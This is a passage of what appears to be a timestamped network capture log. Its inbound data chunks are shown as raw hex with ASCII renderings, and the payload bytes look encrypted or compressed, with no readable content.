2022-04-20 13:31:40 UTC	130	IN	Data Raw: f7 b0 74 71 6e 72 58 fc c5 cf 04 07 ba 3f df 99 ba 24 ca 83 fe 04 24 96 61 c8 06 bf 40 4f 25 04 13 3d 1e 54 59 91 bd 74 14 5f 2a d3 f5 d1 bf 2a 01 9d cf c2 2b 37 57 63 72 ff c3 8b a6 a2 33 67 c2 09 14 e4 64 0a 9c 24 96 96 62 8e fb 05 ea d8 f9 7d f4 5a 0b 78 01 28 b9 d1 34 ff 4e 17 62 7a 80 ce 15 57 b0 cc 87 b4 d6 14 31 cf 03 bb df c2 f6 ce f5 3d 8f ef f3 25 8f b9 86 36 52 28 bf 17 52 0f d0 59 b8 9f 75 92 33 c8 50 67 66 22 52 2b 5e 33 1e d7 34 dc 80 60 4d 8f 1f e9 fa cb 11 c9 68 eb 1d 34 37 bc 51 bc a0 7b 9f 57 06 92 71 da bf 86 9d d2 04 80 c5 44 0a c5 41 aa 5b eb 53 fb f8 14 4b bb 96 e2 16 fc 9e e6 05 0b aa 44 77 4e ef fe 06 e7 6d b2 ea 31 6a 63 a9 91 a0 b2 a7 a4 b6 7d 29 16 f1 8e 7b 87 b6 bc 31 69 3c 6b f9 5f de 8d 1e 69 41 1a 54 49 51 05 81 30 2b 56 a0 Data Ascii: tqnrX?$$a@O%=TYt_**+7Wcr3gd$b}Zx(4NbzW1=%6R(RYu3Pgf"R+^34`Mh47Q{WqDA[SKDwNm1jc}){1i<k_iATIQ0+V
2022-04-20 13:31:40 UTC	131	IN	Data Raw: 39 53 13 0e 6e 76 db 37 2f 6f 50 fa 73 9e 32 6d da bf bf 10 77 6c 7c 36 36 eb a2 94 41 8a 9f 82 d8 61 e7 f8 18 48 b0 70 9a fe 28 39 dc a1 e6 23 cf 1e 4e 19 d4 3f f4 d9 c1 68 a5 5f e4 d0 fc 05 60 e0 81 f0 e8 0a 90 f3 d3 c2 2a a5 17 76 91 eb 36 14 29 73 f5 16 e1 35 4d 8e f2 06 5d 50 4b 9d 81 5c 4a 27 17 0d 52 f5 5e cf 63 46 78 fd 3c c4 fe b0 b3 d0 7b d2 91 66 21 f9 9f 4b de 16 2f 79 b7 7a 8c eb 2c e3 31 af fb db 99 ee 3c 09 88 1b 91 56 0a be 1a b5 5e 9b 3c 09 43 b6 c6 3c 6a 3c ee 32 cf 26 a1 33 bd 55 82 1b 97 ad af 51 7c 38 85 b5 97 de ec e4 77 50 e8 b5 e9 a3 87 b4 aa 66 29 90 6c d9 c9 c7 8e 2e 8f 0a cc 0f 09 d7 63 a0 d0 4e 9e ad bb 23 90 14 b7 41 aa 8e 1d c3 34 8a 6c 2c 5b fb 50 05 4d 31 71 a4 39 d9 20 21 25 15 43 bc 69 d0 7b 78 c7 93 8a 10 75 6e 2c f4 0e Data Ascii: 9Snv7/oPs2mwl\|66AaHp(9#N?h_`*v6)s5M]PK\J'R^cFx<{f!K/yz,1<V^<C<j<2&3UQ\|8wPf)l.cN#A4l,[PM1q9 !%Ci{xun,
2022-04-20 13:31:40 UTC	132	IN	Data Raw: a0 ac 83 b4 2b f3 ba 93 8a 39 a9 36 67 08 5c 87 5e f2 8e 9a 6b 42 05 74 5b d4 ea 87 03 17 60 5d 35 de 1c 28 b8 25 1c c3 2a b6 b3 ca d3 47 c3 4d 2f 84 c2 da 29 91 e0 17 73 6c 00 c9 bc 56 ad e0 17 7d b1 9a 3e 2b 85 c5 11 9f 11 7f 78 c5 10 5f 9e d9 30 c7 a0 f2 56 f7 35 c0 4a 0a 7a d2 ed aa 5b e5 b3 d7 b4 c1 03 32 e0 85 dc 6b 5c b6 7f 18 9b 88 9b 43 8b 10 2c 39 d0 9c 09 53 b1 52 d2 07 31 c0 4c c0 5c 90 3a 5e 55 0f 12 50 24 0f 0a 07 c5 71 a7 f4 93 6f e7 4d d9 53 1f f9 7b da 44 49 6e 99 a9 0d d0 79 ef 93 39 8f 5c e7 3b 14 ac 27 21 45 26 6a 69 6e 7e 88 d7 99 f9 fd 8f b9 7d 35 ba 74 09 db fa 1c 08 14 3a 40 2c 03 c8 44 72 86 bb 08 03 86 ea 76 6d a4 81 99 ef dd 11 a6 46 2a 79 b3 a7 86 96 7f df ca 8a 09 5e b7 d7 1a 46 5f 3f e0 0a 02 03 78 82 7f e5 71 23 2b ba 33 01 Data Ascii: +96g\^kBt[`]5(%GM/)slV}>+x_0V5Jz[2k\C,9SR1L\:^UP$qoMS{DIny9\;'!E&jin~}5t:@,DrvmFy^F_?xq#+3
2022-04-20 13:31:40 UTC	134	IN	Data Raw: 5c e3 7d dd fb 5b 86 48 2a 78 2a 8e ce f8 32 49 06 6f 09 71 cd 7e 69 ca 84 52 19 43 63 3d 50 1f 3a 29 4f e6 7a 0b 0e cc 2d 15 d1 2f 80 cc c1 1e 7a a9 23 9f bd c6 89 14 4c f5 c8 80 5f 6b 73 e3 a6 6e 60 69 6d bd ea 59 cf 15 15 90 52 43 88 bd 3b d0 82 9c 14 0f 8b 6d d3 9a a7 5d ae 31 3e 8b 38 33 50 42 b1 4b 6f ea 5e 9a e7 f4 d8 80 f9 9c 8c c2 ca e9 36 1d ff 5a e0 da aa 2d a0 34 71 59 96 a4 94 43 1d 00 3f 96 07 ce b6 26 00 c7 db e8 6b 61 52 f2 66 30 1a 3b d7 22 f9 5c b1 0a 58 9f ee 9f 51 3e 7b 35 61 cb 06 2e d0 87 54 d9 f1 df f4 87 12 8f ef 6e 3e 91 ab a7 29 d8 c7 b9 24 72 0e 41 48 b6 9c a8 85 83 db 7c 7a 69 81 d5 01 5e 33 91 f6 30 c3 9e 72 d1 9e fd f6 dc fa b1 59 68 eb 81 a8 1f a3 76 ab 36 6c 8e 57 33 2e f7 cd 9f 2a 01 c3 03 03 ea 7c aa 6d 41 aa c7 66 52 fd Data Ascii: \}[Hx2Ioq~iRCc=P:)Oz-/z#L_ksn`imYRC;m]1>83PBKo^6Z-4qYC?&kaRf0;"\XQ>{5a.Tn>)$rAH\|zi^30rYhv6lW3.*\|mAfR
2022-04-20 13:31:40 UTC	135	IN	Data Raw: 32 67 ab 8e 86 70 74 01 c6 57 3f 5f a6 cb 01 22 af e9 e1 00 28 0a 43 89 60 ec 8e 32 07 b0 24 06 42 37 7f 49 b8 2a c0 d5 98 29 2d 30 26 98 db 97 44 56 54 2c 5c 21 23 14 df 60 30 40 ef 18 24 3c 57 98 2c ab 66 c8 3b 2f 61 50 fa 73 9a 0a 3e 4b bd b9 75 25 6a 7f 5f 2e e7 b1 95 2d b8 94 9d c9 9f e6 d4 15 19 e3 49 02 c2 62 32 f4 97 f9 31 d6 a2 5d 01 c9 35 02 c9 e4 76 0c 5d 30 5d a7 08 7a f2 87 e6 e8 08 9d d7 c1 fe 33 dd 07 57 98 fc 2e 10 23 68 e6 79 f8 3f 53 7a ec 3a 4f d3 40 8c 8d ea 9c 2e 0f dd 50 f4 3b e3 74 90 70 fc 39 e7 be a2 82 0c 64 d1 21 71 fb ef 5d d2 9b 3e b7 78 a4 74 8a 63 6b ea 27 3a c2 24 f8 70 3f 36 7a 1f 86 55 8f 16 04 7c 7d 6d 2d 02 52 63 f3 18 f6 83 de 2d dc fc b0 cd 09 05 82 11 81 24 b0 5c 76 3a 82 a3 8e 5b 47 32 80 7c f9 ae e4 9d 5e bc a2 ee Data Ascii: 2gptW?_"(C`2$B7I*)-0&DVT,\!#`0@$<W,f;/aPs>Ku%j_.-Ib21]5v]0]z3W.#hy?Sz:O@.P;tp9d!q]>xtck':$p?6zU\|}m-Rc-$\v:[G2\|^
2022-04-20 13:31:40 UTC	136	IN	Data Raw: 07 b0 81 25 3a a4 67 a6 53 da 99 48 24 9a 24 de bf 80 17 eb 33 9f ec 6e 9c f6 4a a3 ef 2c 50 e4 d4 6d 8c aa 91 f7 3a fb 0e 98 b2 15 86 58 c3 88 ec e1 2d d1 c5 82 ea 31 fc 64 9d 85 87 ba 80 a0 b6 7b da 5c f6 91 5e 96 3b a1 59 c6 0d 4b 73 77 07 89 82 7e 50 2d 55 5f cd 1e 90 1c 12 7f 77 80 dd 1d 2e dd 66 c6 ce 2c 84 7b ca d3 50 c0 4a dd ea 5e d8 3e 88 8b 72 60 68 14 22 8e 74 a6 cc 03 49 85 d5 c0 d4 88 c5 29 9f 11 7f 43 d2 37 8c 8d 48 21 cb b1 10 68 ff db 17 83 02 69 dc f9 8e f0 e0 9b 18 da 93 05 12 15 8e db e5 d8 a9 b4 0b 65 cc b5 43 8d 1d 31 3e d7 b6 17 1c 36 76 d2 0d 54 4d 48 e0 cc 9c 2b 5a 4e 1d 03 b1 23 19 d0 1e af c4 a1 df a0 41 e7 4d cf 46 0d 07 cd c5 27 22 29 ac aa 0d d0 49 6f 0b 2f 9a 4e 19 8d c3 8c 6c cf e3 24 b2 43 39 5e 8c ff 86 f2 fb a1 26 6d 31 Data Ascii: %:gSH$$3nJ,Pm:X-1d{\^;YKsw~P-U_w.f,{PJ^>r`h"tI)C7H!hieC1>6vTMH+ZN#AMF'")Io/Nl$C9^&m1
2022-04-20 13:31:40 UTC	137	IN	Data Raw: 98 8a d3 f4 a1 33 3c 0c 8b 2a 7e b9 89 4a 5a 2f 89 d4 93 50 5b 31 81 50 f9 a9 f2 ba ae d1 ae e8 9e 98 f3 61 f9 cf 8f 02 96 1c bb 20 04 db 73 b0 58 d6 0f 17 f3 21 2f 24 73 51 37 36 0a 08 2c 43 a8 83 5a d7 6a 14 4a 25 69 20 e0 19 7e 28 5b c8 4f 97 77 b2 d5 6b ca 8e 2e b5 66 63 b2 d4 b2 34 29 45 e4 01 34 0f c8 29 d0 c5 2d 8f db e9 b1 79 ab 29 b3 0d 01 40 1e 29 3a c9 80 59 67 09 f4 a9 e8 71 66 72 63 14 58 f2 0a 20 d1 2e 43 88 a2 10 ca 9a 62 04 2c 96 36 20 9b 82 57 46 21 19 a7 9d 1b 4b 45 a2 4c 67 18 40 f2 d1 fd ce b9 33 82 ab 36 dc 1f 28 f3 3c 72 e0 da b4 0e b1 3c 67 4f 17 0c c1 80 1d 2c 42 93 f2 38 99 67 10 e5 d6 e1 bd e7 10 0c 67 1e 20 fe d0 34 f5 d0 7d 5b 64 9e ea 93 24 1b ce 1b af c0 0e 5d 6b 9d aa d2 f5 65 ec 0a 37 86 f9 f9 47 3a a4 a7 2a e6 8a ba 08 7a Data Ascii: 3<~JZ/P[1Pa sX!/$sQ76,CZjJ%i ~([Owk.fc4)E4)-y)@):YgqfrcX .Cb,6 WF!KELg@36(<r<gO,B8gg 4}[d$]ke7G:z
2022-04-20 13:31:40 UTC	139	IN	Data Raw: 49 0a b9 02 c5 54 80 0e 12 97 60 0a 3d c2 8c 79 9c 56 29 b2 58 10 50 94 29 4e df eb ae 3b 75 a3 af 6b 4b 71 bc 1d 02 1e 34 59 28 da db 51 6c 9d bb f3 33 6b 0d 66 43 05 26 99 e5 f4 fa af 40 a0 d3 9b 89 87 be 8d 01 c6 a8 17 ac b7 dd 18 3e 1b 6f e0 00 29 22 a1 82 7f ef 58 d0 2b ba 39 6e 9a 3c 6c 47 2b 71 d3 de 99 2b 20 38 ca 8a f8 94 4d 4a 43 d2 4c 06 30 1a 5a 20 1d 5f fa 91 95 21 42 11 0b 62 73 c7 22 39 55 55 d6 7f 90 26 52 9d ae bb 05 5b 78 70 59 20 e5 bd dc d3 a8 b3 b1 da 62 94 53 1a 08 e1 41 62 8f 9a 31 f4 9d ce 90 c7 a9 57 38 73 2e fc c2 d0 10 b1 49 32 5b de ae 62 e1 86 98 55 01 87 23 e8 7f 3b ae 36 45 93 e5 7e 04 37 7b fc 76 f6 07 b3 85 c1 37 77 ba 09 9c 8b c6 28 84 0d db 4b e4 25 b7 c6 92 6b fc 05 7b ed a0 88 1c 32 03 22 71 fb f1 7d d5 80 16 3e 77 bb Data Ascii: IT`=yV)XP)N;ukKq4Y(Ql3kfC&@>o)"X+9n<lG+q+ 8MJCL0Z _!Bbs"9UU&R[xpY bSAb1W8s.I2[bU#;6E~7{v7w(K%k{2"q}>w
2022-04-20 13:31:40 UTC	140	IN	Data Raw: e1 88 a9 b1 e0 34 a7 d3 70 6f d8 9f ae ac 5f d6 ee 0b 3f f4 ae 6e 34 8c 28 10 27 18 2e 6e 85 2b 19 4c 4a 97 06 54 84 a5 ad 7f 78 42 19 af 6a 5f 33 86 d8 20 cc a5 67 de 81 2d 08 dd c7 f0 cb 13 aa 80 25 34 ab 67 ae ea e5 c3 48 2e b0 f3 dc cc 2d 03 c3 09 8e e9 17 38 c7 41 a0 ef 49 56 e4 d8 0b c1 3c e2 4f 3f ea 08 df b1 16 86 58 e2 48 7e 92 99 c5 ed b8 c2 82 f4 72 a4 87 96 04 2b 16 b4 7d bf 2f 45 93 54 9b 02 1c 34 76 06 42 60 c9 69 e2 4c 79 46 03 e0 22 80 15 86 2b 06 40 4c 55 d9 0c 27 ad 2d 38 cf 0a b9 a2 c8 57 47 cf 73 32 85 ee d3 51 4e e5 17 64 7b 19 28 ac 69 a0 cb 03 4a f3 9b c0 f8 b4 a8 71 ec ba 77 52 d4 39 30 ed f6 32 c7 aa 2b e5 f5 24 e2 54 ba 78 d8 e5 9a 8e 2a b2 d1 dd e0 a8 30 ea 84 a5 49 e9 a1 af 27 e0 07 b4 49 a3 a7 22 3a cc b9 1b 60 89 77 c3 08 24 Data Ascii: 4po_?n4('.n+LJTxBj_3 g-%4gH.-8AIV<O?XH~r+}/ET4vB`iLyF"+@LU'-8WGs2QNd{(iJqwR902+$Tx*0I'I":`w$
2022-04-20 13:31:40 UTC	141	IN	Data Raw: c2 59 54 49 da 41 f9 20 09 75 90 6d da 10 de ea b1 85 22 91 5c 26 7b 74 b7 49 c6 8d 07 2a 69 a3 56 7e ef 3a e0 a8 62 ea dc fa 0b 73 1f 99 1b 99 52 ee d3 61 4c 76 6d 3c 09 49 9d f2 74 bf a3 c0 ea d8 f6 0f 98 75 05 82 1f bd d2 b2 5c 7b 2e a1 40 9f 50 51 43 d8 50 e8 bd f0 b0 87 bf 8a 0b 9e 98 e8 e1 b8 31 8e 2c fe 58 c1 1e 01 c4 7b d9 06 2b 33 1a b3 ad 27 24 73 48 64 62 22 2f 23 5c eb c4 26 be 50 16 4c 0d 57 3b 8b df fd 1a d7 06 4e 9d fe 98 7e 69 c8 86 2b 5b 65 63 bc ed 1a 27 2e 67 05 7a 0b 04 47 74 a3 6b 2d f4 97 c0 1e 7f 1c b2 f5 c0 46 41 14 42 e4 c3 0c 0a 78 43 e6 b7 e1 71 65 45 b1 ea 59 d4 2b eb a8 29 49 9f 31 6a d9 95 63 3d d0 89 75 d4 b2 37 47 50 3a 01 84 3d 1e 5c c3 e0 42 74 15 77 45 c2 f2 c4 bb 3b 8c 87 d9 d5 0c 56 35 8d 8a e2 a1 e8 27 a2 37 6e 4f 1e Data Ascii: YTIA um"\&{tI*iV~:bsRaLvm<Itu\{.@PQCP1,X{+3'$sHdb"/#\&PLW;N~i+[ec'.gzGtk-FABxCqeEY+)I1jc=u7GP:=\BtwE;V5'7nO
2022-04-20 13:31:40 UTC	142	IN	Data Raw: ea 58 0c fb 5b 98 f6 97 ec 32 cd da ef 12 c2 26 d4 7b ca 7f 75 59 36 2e 03 07 60 eb a4 55 fb 03 8d 01 71 d0 39 a4 2d 53 89 f7 b2 4e 38 7b ef 02 ac 35 4d 80 5a 79 a2 c1 49 97 29 e9 0f 2d 74 98 40 fd 4b cd 65 96 bd 79 77 cf ef a2 f9 42 73 5c 22 60 f6 ec 4e b5 24 14 2f 72 b5 76 ee 5d 38 ea 2d 13 59 de f8 7a 24 1a ea b1 84 5f 8e 21 be 6d 76 67 14 b8 4b 9d f8 25 e1 9a fb 65 81 fc b6 e7 4b 41 83 1b 92 09 cc 97 6b 29 8f 8b 27 52 5b c6 23 41 ec d5 f0 b0 87 b5 2d b1 9e 98 e0 15 a4 30 8e 2a 53 a9 d3 1a 14 d6 60 65 cf 4a 01 17 a2 bf 19 b1 8e b7 db 28 0c 0e f5 4f e7 6c 5d ea 40 28 2e dc 87 d5 b6 c7 fb 32 34 04 35 a9 70 c1 7a 6a 4e 15 4b 59 9e 63 b8 fc 1d 35 5a e4 e4 7a 01 17 a2 5e 11 69 2f 85 f9 72 1c 7b a1 0b 2a bf 03 4a 0c 29 3b c9 80 59 0b e8 e5 a6 e2 1e c5 6f 49 Data Ascii: X[2&{uY6.`Uq9-SN8{5MZyI)-t@KeywBs\"`N$/rv]8-Yz$_!mvgK%eKAk)'R[#A-0S`eJ(Ol]@(.245pzjNKYc5Zz^i/r{J);YoI
2022-04-20 13:31:40 UTC	143	IN	Data Raw: c7 ce 22 bb ca 14 d1 2d f8 5a d1 81 80 01 84 ed 34 16 62 6e 34 24 8d 78 af e1 12 45 ea 63 c1 d4 93 bc 79 b4 0a 75 55 c9 de 5b b2 46 28 cc a0 04 40 09 25 c4 7e 1c 71 d8 e8 9a 1f e5 9f d3 f0 91 28 d1 e8 f5 98 e4 eb a5 2b b8 67 05 b4 50 bb 12 20 4f c6 b2 01 7b 86 77 c3 11 30 c0 11 e0 c1 ad c4 5f 73 1b 0d d5 93 1f c8 ea c1 4e ae dc a8 1c b5 48 de 46 95 df 4f cd 3e 23 46 0d b2 f3 db 43 64 0b 3c e5 1b 77 3d c6 8f e9 fa 45 26 b0 32 57 4e 88 d3 c1 44 c9 84 3e 56 2e bb 62 26 56 06 1d 2e 1a 3f 6e 21 de db 47 75 7c ab 21 30 50 3f 64 42 92 7f 98 c9 f7 c0 a5 6d 8f 76 e0 ca 87 96 71 02 49 f8 3f 5f b5 a6 5a 28 97 3a e4 9a 02 0a 52 82 6c d5 73 33 c3 ba 33 01 51 3c 6c 50 b1 33 d7 e6 4a 38 26 27 d8 88 f3 8d a2 44 73 22 5b 28 47 5c 20 61 18 d1 49 12 2e 37 4c 06 04 73 66 d3 Data Ascii: "-Z4bn4$xEcyuU[F(@%~q(+gP O{w0_sNHFO>#FCd<w=E&2WND>V.b&V.?n!Gu\|!0P?dBmvqI?_Z(:Rls33Q<lP3J8&'Ds"[(G\ aI.7Lsf
2022-04-20 13:31:40 UTC	145	IN	Data Raw: 1f de 26 88 70 2f 88 c6 3f 1f 57 a9 3b 90 bd 04 56 ea 47 d9 ca 97 54 78 44 ff 58 e9 4c 6b 46 4b c1 ba dc 78 44 a9 29 47 a2 9f 39 da e8 3e 14 23 8d 5f de 9a ae 54 60 32 12 a7 2c 19 4b 4c b0 42 65 02 54 9d d9 f2 c9 bf c2 9c a0 ca c5 38 21 cc 64 8b e1 f6 a9 31 a9 33 60 46 e6 12 d7 7c 37 02 1e 72 8b 02 c5 66 14 e9 ed c7 69 6b 36 51 66 1c 0c 13 d1 34 ff c9 36 62 65 04 ec 95 57 b4 cd 1b b4 d3 23 39 d9 9f a0 ab 63 d4 ee 00 37 8d 9c d0 36 88 ac da 7d cf 39 bc 0b 58 d9 4e 48 b5 f3 d8 85 af d3 44 7c 54 11 d4 3a 5a 5c 43 c4 33 c9 ca 08 d0 9e 12 41 cf ee ba e8 6e fa 85 4a f2 a1 76 a0 53 a9 9a 48 24 a3 f7 0a 90 86 01 c2 2b 8b ec 64 80 ed bc aa c7 f0 82 f7 d4 13 d1 bb 94 cf e4 34 0e e6 06 38 81 43 ef 30 b5 e1 2b cd 31 b0 ec 5e 32 70 ae 84 98 88 4e cb 69 7c b5 01 de 58 Data Ascii: &p/?W;VGTxDXLkFKxD)G9>#_T`2,KLBeT8!d13`F\|7rfik6Qf46beW#9c76}9XNHD\|T:Z\C3AnJvSH$+d48C0+1^2pNi\|X
2022-04-20 13:31:40 UTC	146	IN	Data Raw: d3 1c 98 38 26 21 d9 99 e6 82 4f 40 67 82 4d 2a 3c 18 30 64 03 56 00 1e 0e 26 56 13 00 ec d5 fa 27 18 a1 47 ff 75 90 27 5c b5 bc 93 1c 66 78 7b 43 22 ef a2 8f 28 b5 61 83 f4 69 f6 fc 11 99 e7 45 1b f9 28 22 f1 8d 18 22 e9 ac 4b 1d d9 3f f9 c8 d9 7a 61 b6 33 71 a5 0c 77 37 81 f9 f0 10 82 29 d1 d7 2e 50 3d 7a 9b e2 2e 12 38 6a e8 64 17 35 61 91 ea 3e 71 c2 49 9b 83 4e 74 2f 0f da 2e 0a 4e c4 7e b6 75 e5 28 cf fe a5 9a f4 73 70 2f 02 9a ee 49 cc 84 0f 3c 7d a4 6f 98 f4 c4 eb 0b 33 d2 a8 07 8f ca 02 8a 1a 86 4e 81 1f f3 6e 5a 6e 2b 1a 4c 9d e3 31 fb 81 08 eb f4 fe 9d e0 08 49 7d e4 69 b9 cc 3a 6a 29 83 89 9f 50 40 fc 84 50 d7 bf e1 b5 91 b9 a2 f9 9c 16 55 6d 6f 86 58 39 5f 09 16 93 2a db 77 b2 d7 45 17 18 3d 1a 0f eb 72 48 2e 3a 1c 1e 21 d2 56 7e d5 4c 79 e0 Data Ascii: 8&!O@gM<0dV&V'Gu'\fx{C"(aiE(""K?za3qw7).P=z.8jd5a>qINt/.N~u(sp/I<}o3NnZn+L1I}i:j)P@PUmoX9_wE=rH.:!V~Ly
2022-04-20 13:31:40 UTC	147	IN	Data Raw: f7 e9 02 f1 15 99 81 52 eb 5e fb c3 3a e5 fb a5 66 60 f6 72 af 2c 9f b0 4c b0 a2 55 2d 07 f6 9b 40 b9 e0 ae 36 70 1b c6 7e 5f de 8c 91 5b 57 26 73 49 41 45 86 2f 18 d4 4e 79 cd 09 3c 9a a5 c6 ce 2c b8 88 05 d0 56 c1 4d 5c 82 ee d9 3f 96 f0 03 4a f0 1e 37 b7 52 be cb 12 4f f9 69 c8 c0 aa 60 71 9f 17 62 df d9 20 5a 9f 57 13 d6 83 15 40 7b 75 e8 7c 0a d8 c9 cc 96 f5 f0 9b 49 db 93 09 26 c2 44 d8 e5 ed b6 28 08 4d 05 b5 50 a9 00 02 2c d1 3e 50 73 86 76 70 16 19 ff 5e f4 ee 22 3a 5e 55 0d 3d 15 90 18 d6 02 4d 65 a3 df ab 73 e2 5d f6 da 1b 68 77 ec 36 28 46 00 bb 06 cb 6a 56 ac 3e 9e 52 5e c7 c3 8c 60 cf 17 26 b2 43 0e 43 fc db 4f f3 e0 b6 21 08 39 b0 62 3a 67 10 1d 02 18 38 49 2f 05 59 40 63 83 82 19 32 47 3e 4c 10 8b 81 9f fc 78 ec a7 46 2d 67 b8 98 a5 80 64 Data Ascii: R^:f`r,LU-@6p~_[W&sIAE/Ny<,VM\?J7ROi`qb ZW@{u\|I&D(MP,>Psvp^":^U=Mes]hw6(FjV>R^`&CCO!9b:g8I/Y@c2G>LxF-gd
2022-04-20 13:31:40 UTC	148	IN	Data Raw: 8e 24 94 02 d4 36 fb d9 77 b5 ca ca 17 1a b3 ac 33 30 67 60 bc 39 0a 13 0b a8 e5 7d 5d ed 79 d8 4a 26 72 02 41 cc fa 38 1c ca 4e 97 7b ed 63 78 d6 90 78 a0 60 63 be ea 92 31 29 4f e7 6e 1f 1a e0 b5 a3 6b 25 a7 76 c1 1e 71 b8 39 8a a1 17 68 ea 44 f5 ce 96 d2 7f 43 e7 a7 fc 74 7d 45 d1 ea 59 d4 2b ea ac 29 45 9e 95 48 db 95 68 39 6f 98 69 ca b2 17 43 50 36 04 02 2b 19 4b 4e a5 56 60 3c c7 b6 c2 f8 da 80 e0 9f 8c ce c5 be 26 cb 72 74 f3 f9 ba 05 b4 1b 2e 5c 18 15 59 6f 3f 17 1d 6b 88 79 9e c5 05 ce d3 f1 7f 40 d3 0c 67 16 20 9e d1 34 f5 fa e5 64 65 98 fd 8e 45 95 e4 cb a7 d1 01 14 3f 61 55 27 03 d8 fc 2f c3 99 c1 6f 34 93 c9 fa 20 ce 33 64 7b 67 18 4c 4e ac 93 47 97 be c3 7f 31 40 02 d4 03 a4 32 82 c0 5c 89 a5 76 db b6 fb f7 dc ed fe d1 69 eb 87 36 26 b2 60 Data Ascii: $6w30g`9}]yJ&rA8N{cxx`c1)Onk%vq9hDCt}EY+)EHh9oiCP6+KNV`<&rt.\Yo?ky@g 4deE?aU'/o4 3d{gLNG1@2\vi6&`
2022-04-20 13:31:40 UTC	150	IN	Data Raw: 1f 1f 2b 42 2d ba 2f 41 63 88 c5 10 33 47 32 73 2a 7d 80 99 ef 9a f6 a6 46 2a 63 f4 7d 87 96 7f 6e d9 a3 3f 59 a4 ce 0d 32 84 29 e0 11 3f 15 49 7c 7e c9 53 22 39 d5 2e 00 51 3b 7a 2e 53 21 d3 d4 f7 25 27 27 de 81 98 60 5d 45 55 43 52 2b 3c 1e 32 70 03 43 ed 08 22 3c 48 1d 2c 9c 63 e4 30 16 a1 45 ec 4b de 23 45 4b a2 96 09 73 6b 6e 4e 2e e1 5c 9f 01 b9 8e 87 f0 8b e6 f8 1e 32 93 a6 f7 03 37 3f e7 80 e6 32 d2 b6 7e ee c3 00 e0 d9 d8 6e 73 60 c5 59 ad 03 48 1b 8d e6 ff 2b 55 2b c0 d8 56 93 3d 56 9e e5 19 04 2f 7b fc 6e f1 ca 4c a8 e4 65 60 c3 49 97 81 db 48 38 0f ca 56 e2 66 3a 75 bc 61 e7 39 d8 39 b3 96 15 58 4f 31 71 ea f9 56 e1 71 17 03 72 b5 74 84 39 29 e0 38 13 f9 cb f8 61 22 01 b3 e1 87 73 8b 18 19 7e 63 e3 8b 36 3b 9c f2 34 fb a0 e5 fd d8 ed a1 fa 2e Data Ascii: +B-/Ac3G2s}Fc}n?Y2)?I\|~S"9.Q;z.S!%''`]EUCR+<2pC"<H,c0EK#EKsknN.\27?2~ns`YH+U+V=V/{nLe`IH8Vf:ua99XO1qVqrt9)8a"s~c6;4.
2022-04-20 13:31:40 UTC	151	IN	Data Raw: 84 af d9 57 78 11 02 d2 2b 55 33 82 c6 6d c3 a5 76 c3 9e 18 f6 c1 eb 91 c8 68 eb 81 25 ad a3 76 aa 51 6b 98 48 24 b0 f1 da b0 86 01 c3 1e 9f ec 65 bc c7 3f bb c6 fa 5e f3 fa d1 d5 aa 9b d7 3d ea 11 c7 00 14 b4 52 eb 5f ed e1 2b d6 fb b9 c1 2a f6 75 b9 70 8f be 5a bc bd 7d b2 11 08 90 78 93 3d a6 36 71 14 b5 78 73 dc a6 80 53 a5 07 1e 8b cf 14 8c 51 08 77 5f 50 f1 09 29 b2 37 ec ce 26 bf 90 cc d3 66 c7 5b d1 80 ee d9 2f 94 ef 3c 79 68 19 20 43 7b 83 c9 0a 4e ea 62 d7 2a 83 86 70 88 1a 75 55 c6 de 5b b2 46 1b c5 8b e0 54 8c f0 ea 7c 01 52 2c ee 82 e7 f2 4d d0 f1 8d 01 1a 3d 8c db ef c1 ba 95 09 4d bb b4 43 8b 1e 21 3a d7 cc 33 73 86 7d d8 04 48 db 4b e0 cc b1 02 ca 5f 19 15 d9 fc c0 d2 14 ca 6e ab f7 df 65 f6 4f b1 54 19 68 77 e8 13 20 6e 7c aa 0d dc 00 8e Data Ascii: Wx+U3mvh%vQkH$e?^=R_+upZ}x=6qxsSQw_P)7&f[/<yh C{NbpuU[FT\|R,M=MC!:3s}HK_neOThw n\|
2022-04-20 13:31:40 UTC	152	IN	Data Raw: 3b ec f6 96 0e 54 1f 99 1b 99 49 1e 2c 20 60 50 72 2a 29 72 9f f2 34 fb a8 de 13 d9 fc b0 cf 5e 7a e3 1a 96 ba bc 4e f0 0c a4 ac b9 4f 4c ec df 52 e8 bf fe 90 be 41 a3 e8 98 b2 8c 10 80 30 8e 2a 9a 06 5a 3b 28 d4 51 ac c4 67 93 18 b3 ad 38 02 5b b1 25 39 0c 33 4d 22 80 7c 5b ff 4e 0f d2 03 55 25 a8 d1 e3 12 9d 04 4e 97 6e e6 56 90 cb 84 56 33 0a 1d d9 fd 1f 32 36 55 7c 5f 26 01 ee 32 b9 4b ff 8d d1 c1 01 5e 83 da 9a bd 05 6a 7a 38 94 c9 80 5b 67 58 7d 83 c5 6f 4f 72 52 ca ac dc 03 18 b7 0d 6b 71 bc 3b df bf 0c 6b 42 88 75 da 85 b2 dd 75 1d 1d a9 33 05 6b 56 b2 42 74 0b 7e 9e 3b f3 ce ae 16 f3 f2 a9 dc 33 25 d4 6f ef c5 f7 a4 00 bd 2e 47 64 1b 13 fb 61 3d 28 cc 90 89 7f b2 09 6a 8c c6 e5 6f 77 55 96 42 31 07 1f ce 2a df 89 05 65 65 81 cf bd ae b1 cc 1d 8f Data Ascii: ;TI, `Pr)r4^zNOLRA0Z;(Qg8[%93M"\|[NU%NnVV326U\|_&2K^jz8[gX}oOrRkq;kBuu3kVBt~;3%o.Gda=(jowUB1*ee
2022-04-20 13:31:40 UTC	153	IN	Data Raw: 58 75 77 6b bf 92 18 d4 0b 85 f8 86 f2 a5 41 e9 0c fe 42 1d 68 7d db 34 00 bf 0b a8 0b f0 05 00 6e 3f 9e 5c 69 7b 58 a9 4b ae 63 39 f4 69 0c 49 88 d7 57 db 02 a6 2a 7a 1f da 1c 40 4e f8 18 1d 59 b1 61 16 db fd 5f 24 a2 bf 0b 32 47 29 4c bc 88 81 9f cf 9b 95 c6 47 2c 70 84 c1 1c b3 58 0e e0 bd 77 7f ab db 12 29 88 2f c8 f9 29 0a 54 a8 15 9b 11 32 2b be 2c 48 cb 18 41 4f 81 3f 9a fe b5 3e 26 27 c5 b1 0e 95 5c 43 75 46 33 4b 3d 18 25 7e 56 c5 db 32 2c 0b 40 48 24 56 64 c8 3d 10 83 ad fb 75 87 08 2f 35 dc be 1a 60 74 34 c3 14 c7 ac b8 32 e2 bf b7 de 61 e7 e5 30 f1 ea 58 0e d6 42 4d 95 96 e6 27 da e5 c7 35 ef 22 da d7 84 5f 43 4e 32 5d b7 2d 99 e0 8c e0 d3 69 f9 48 c1 d2 3d b1 71 cc bd d7 33 31 27 36 cd 39 ef 34 